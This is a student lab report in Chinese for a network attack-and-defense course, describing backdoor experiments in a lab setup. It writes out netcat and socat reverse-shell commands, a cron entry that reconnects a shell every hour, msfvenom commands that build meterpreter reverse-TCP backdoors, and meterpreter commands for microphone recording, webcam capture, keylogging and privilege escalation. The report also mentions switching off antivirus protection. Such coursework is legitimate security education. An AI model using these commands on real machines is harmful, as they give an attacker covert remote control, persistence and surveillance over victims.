20222422 2024-2025-1 《网络与系统攻防技术》实验二实验报告
一.实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二.实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
(1)查看主机和虚拟机ip
主机:
虚拟机:
(2)使用netcat进行连接并获取shell
主机cmd进入ncat所在目录,输入指令:ncat.exe -l -p 2422
虚拟机登入root用户,输入指令:nc 172.20.10.9 2422 -e /bin/sh
win主机输入指令,测试主机是否成功获取虚拟机shell
如上图,成功获取。
(3)通过设置cron使得kali启动定时任务。
进入虚拟机的虚拟机的root账户,输入crontab -e
输入指令30 * * * * /bin/netcat 172.20.10.9 2422 -e /bin/sh,设置为在每小时的第30分钟启动任务,之后输入crontab -l查看时程表:
此时,在虚拟机/var/spool/cron/crontabs文件中会出现一个root文件
将主机与虚拟机建立好连接,输入:echo "* * * * * echo "20222422" > /home/kali/2422_1.txt" > /var/spool/cron/crontabs/root
查看文件是否被成功修改:
如上图,已被成功修改。
2. 使用socat获取主机操作Shell,任务计划启动
首先在主机端安装socat,然后将cmd调至socat所在文件
在主机输入:socat.exe tcp-listen:2422 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口2422,并把cmd.exe的stderr重定向到stdout
在虚拟机上输入:socat - tcp:192.168.1.113:2422
在主机端编写程序:
在虚拟机输入:schtasks /create /sc minute /mo 1 /tn "20222422tky" /tr E:\桌面\大三上学期\网络攻防\实验二\code\bin\Debug\code.exe来每一分钟执行一次这个程序:
在主机上,打开计算机管理,看到正在运行的任务名“20222422tky”,说明实验成功。
3.在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
关闭windows的实时保护,同时关闭防火墙进行实验。
(1)生成后门文件
获取虚拟机ip
输入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.130 LPORT=2422 -f exe > 2422backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)
主机进入ncat所在目录下,输入指令:
ncat.exe -lv 2422 > "E:\桌面\2422backdoor.exe"(监听2422窗口等待接收可执行文件2422backdoor.exe,并将2422backdoor.exe文件存放在桌面上)
虚拟机上输入指令:
nc 192.168.1.113 2422 < 2422backdoor.exe(将生成的后门文件2422backdoor.exe传给主机)
成功在桌面上接收到文件:
(3)配置监听模块
回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.198,131 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 2422(监听的端口)
接着输入exploit,使监听模块开始运行,并在Windows运行后门2422backdoor.exe文件
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic (音频)
screenshot (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
结果如下:(键盘记录的字符串将直接显示在命令栏上)
(2)提权
使用管理员身份运行windows的cmd,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali命令行下输入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > pwn_2422
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为pwn_2422的文件中。)
对生成的pwn_2422文件赋予权限:
重现监听:
打开另一个shell,运行生成的2422_pwn文件(需要使用root权限),回到第一个终端,成功实现远程控制shell
3.问题及解决方案
问题一:在使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell实验中,最开始输入的命令是msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > 2422_pwn,随后在监听中也使用的是linux/x64/meterpreter/reverse_tcp的payload,发现实验无法成功。
问题一解决:将命令里的x64更改为x86,即linux/x86/meterpreter/reverse_tcp后再进行后续步骤,发现实验成功。
问题二:在生成后门文件,并传输到windows后,发现windows不让启动后门文件,且过段时间会自动删除。
问题二解决:在实验前把windows的防火墙和实时保护等功能关闭,发现能够成功运行后门文件。
问题三:在使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell实验中,发现生成的pwn_2422无法执行,没有权限。
问题三解决:输入chmod a+x pwn_2422和chmod 755 pwn_2422来赋予权限,得以解决。
4.学习感悟、思考等
这次实验让我深刻体会到了网络安全工具的多样性和强大功能。无论是netcat、socat这样的网络工具,还是Metasploit Framework(MSF)这样的渗透测试框架,它们都在各自的领域内发挥着不可替代的作用。通过学习和使用这些工具,我不仅掌握了它们的基本操作,更重要的是,我学会了如何根据实际需求灵活运用它们,以达到预期的安全目标。
实验过程中遇到的种种挑战和困难,让我深刻认识到了网络安全领域的复杂性和动态性。无论是缓冲区溢出、权限提升,还是信息收集、远程监控,每一个实验都涉及到了多个层面的知识和技能。在解决问题的过程中,我不仅锻炼了自己的逻辑思维和问题解决能力,还学会了如何快速适应和应对不断变化的网络环境。